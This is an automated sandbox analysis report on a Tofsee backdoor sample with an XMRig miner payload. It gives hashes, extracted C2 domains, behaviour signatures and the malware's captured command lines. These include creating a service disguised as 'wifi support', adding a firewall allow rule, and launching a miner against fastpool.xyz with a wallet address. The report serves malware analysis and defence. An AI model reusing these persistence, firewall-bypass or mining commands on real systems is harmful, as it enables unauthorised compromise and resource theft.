Analysis

  • max time kernel
    290s
  • max time network
    304s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    05/11/2023, 22:23

General

  • Target

    7291a205dba93db221ee6d6da61d00580f9ddbaf9424465522138b6cb1bbc1b7.exe

  • Size

    262KB

  • MD5

    81f5904645e44483a57226ab60e0390b

  • SHA1

    0bd97534d23998b6d554b48bddd0015d199808ec

  • SHA256

    7291a205dba93db221ee6d6da61d00580f9ddbaf9424465522138b6cb1bbc1b7

  • SHA512

    5403b05a65105351fa5b6bc351b3613f930d16bbc0507045a340282029fdc688234fe3f92ef15fcdc9011650a3f96533f9254348bcf33159f381e8914abf281e

  • SSDEEP

    3072:pFzu3GMDmWLo3NrmuvLLCRpKbm/EJx9teHFKe0fk02q5XI7lVEaP:zzu2MqWLo9rmCXCR38biHF080VIjt

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7291a205dba93db221ee6d6da61d00580f9ddbaf9424465522138b6cb1bbc1b7.exe
    "C:\Users\Admin\AppData\Local\Temp\7291a205dba93db221ee6d6da61d00580f9ddbaf9424465522138b6cb1bbc1b7.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2960
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\heathhog\
      2⤵
        PID:2848
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ahkfeyys.exe" C:\Windows\SysWOW64\heathhog\
        2⤵
          PID:2992
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create heathhog binPath= "C:\Windows\SysWOW64\heathhog\ahkfeyys.exe /d\"C:\Users\Admin\AppData\Local\Temp\7291a205dba93db221ee6d6da61d00580f9ddbaf9424465522138b6cb1bbc1b7.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1648
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description heathhog "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1320
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start heathhog
          2⤵
          • Launches sc.exe
          PID:2616
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2724
      • C:\Windows\SysWOW64\heathhog\ahkfeyys.exe
        C:\Windows\SysWOW64\heathhog\ahkfeyys.exe /d"C:\Users\Admin\AppData\Local\Temp\7291a205dba93db221ee6d6da61d00580f9ddbaf9424465522138b6cb1bbc1b7.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2800
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2612
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2556

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\ahkfeyys.exe

              Filesize

              11.8MB

              MD5

              3e63d3784b339e93cb3546fd832b318c

              SHA1

              b7ddb66e4cde7730c5c36c8e9131708fd756e167

              SHA256

              edeb58e3b03522853ad65810e158a5aa9dab4090da485037bf37c4de37373a3a

              SHA512

              a285a286bffbee3df42f37d305fa8327dbace1ad78639a02b3199ba9e113d9bc54280b4da240269613790a2c066f21154c732459ce6343f127ee59281fa5c7d3

            • C:\Windows\SysWOW64\heathhog\ahkfeyys.exe

              Filesize

              11.8MB

              MD5

              3e63d3784b339e93cb3546fd832b318c

              SHA1

              b7ddb66e4cde7730c5c36c8e9131708fd756e167

              SHA256

              edeb58e3b03522853ad65810e158a5aa9dab4090da485037bf37c4de37373a3a

              SHA512

              a285a286bffbee3df42f37d305fa8327dbace1ad78639a02b3199ba9e113d9bc54280b4da240269613790a2c066f21154c732459ce6343f127ee59281fa5c7d3

            • memory/2556-63-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/2556-77-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/2556-78-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/2556-75-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/2556-76-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/2556-74-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/2556-73-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/2556-72-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/2556-68-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2556-64-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/2612-40-0x00000000001A0000-0x00000000001B0000-memory.dmp

              Filesize

              64KB

            • memory/2612-45-0x00000000001A0000-0x00000000001B0000-memory.dmp

              Filesize

              64KB

            • memory/2612-21-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2612-22-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2612-24-0x0000000001D20000-0x0000000001F2F000-memory.dmp

              Filesize

              2.1MB

            • memory/2612-27-0x0000000001D20000-0x0000000001F2F000-memory.dmp

              Filesize

              2.1MB

            • memory/2612-28-0x0000000000150000-0x0000000000156000-memory.dmp

              Filesize

              24KB

            • memory/2612-31-0x00000000001A0000-0x00000000001B0000-memory.dmp

              Filesize

              64KB

            • memory/2612-34-0x00000000001A0000-0x00000000001B0000-memory.dmp

              Filesize

              64KB

            • memory/2612-35-0x00000000001A0000-0x00000000001B0000-memory.dmp

              Filesize

              64KB

            • memory/2612-36-0x00000000001A0000-0x00000000001B0000-memory.dmp

              Filesize

              64KB

            • memory/2612-37-0x00000000001A0000-0x00000000001B0000-memory.dmp

              Filesize

              64KB

            • memory/2612-38-0x00000000001A0000-0x00000000001B0000-memory.dmp

              Filesize

              64KB

            • memory/2612-39-0x00000000001A0000-0x00000000001B0000-memory.dmp

              Filesize

              64KB

            • memory/2612-11-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2612-41-0x00000000001A0000-0x00000000001B0000-memory.dmp

              Filesize

              64KB

            • memory/2612-42-0x00000000001A0000-0x00000000001B0000-memory.dmp

              Filesize

              64KB

            • memory/2612-43-0x00000000001A0000-0x00000000001B0000-memory.dmp

              Filesize

              64KB

            • memory/2612-44-0x00000000001A0000-0x00000000001B0000-memory.dmp

              Filesize

              64KB

            • memory/2612-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2612-46-0x00000000001A0000-0x00000000001B0000-memory.dmp

              Filesize

              64KB

            • memory/2612-47-0x00000000001A0000-0x00000000001B0000-memory.dmp

              Filesize

              64KB

            • memory/2612-48-0x00000000001A0000-0x00000000001B0000-memory.dmp

              Filesize

              64KB

            • memory/2612-49-0x00000000001A0000-0x00000000001B0000-memory.dmp

              Filesize

              64KB

            • memory/2612-50-0x00000000001A0000-0x00000000001B0000-memory.dmp

              Filesize

              64KB

            • memory/2612-51-0x0000000000380000-0x0000000000385000-memory.dmp

              Filesize

              20KB

            • memory/2612-54-0x0000000000380000-0x0000000000385000-memory.dmp

              Filesize

              20KB

            • memory/2612-55-0x00000000056D0000-0x0000000005ADB000-memory.dmp

              Filesize

              4.0MB

            • memory/2612-58-0x00000000056D0000-0x0000000005ADB000-memory.dmp

              Filesize

              4.0MB

            • memory/2612-59-0x0000000000390000-0x0000000000397000-memory.dmp

              Filesize

              28KB

            • memory/2612-20-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2612-15-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2800-18-0x0000000000400000-0x00000000008A7000-memory.dmp

              Filesize

              4.7MB

            • memory/2800-12-0x0000000000400000-0x00000000008A7000-memory.dmp

              Filesize

              4.7MB

            • memory/2800-10-0x0000000000920000-0x0000000000A20000-memory.dmp

              Filesize

              1024KB

            • memory/2960-1-0x00000000009B0000-0x0000000000AB0000-memory.dmp

              Filesize

              1024KB

            • memory/2960-7-0x0000000000400000-0x00000000008A7000-memory.dmp

              Filesize

              4.7MB

            • memory/2960-8-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/2960-4-0x0000000000400000-0x00000000008A7000-memory.dmp

              Filesize

              4.7MB

            • memory/2960-2-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB